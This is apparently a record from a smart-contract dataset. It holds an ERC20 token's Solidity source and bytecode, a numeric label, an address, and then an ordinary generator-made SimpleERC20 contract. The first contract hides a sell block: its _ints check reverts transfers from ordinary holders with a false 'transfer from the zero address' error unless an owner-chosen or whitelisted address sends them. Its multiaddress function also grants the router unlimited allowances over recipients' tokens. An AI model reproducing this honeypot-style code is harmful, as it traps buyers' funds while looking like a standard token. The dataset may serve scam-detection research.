// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a965656106053115bc5544f0777dbce53474c9d17483dc734832a0b2d862fd8a64736f6c63430006060033 | [
38
] |
0xF35767C2beF1cb721C5220dA5f3f8CF074ebe885 | // SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
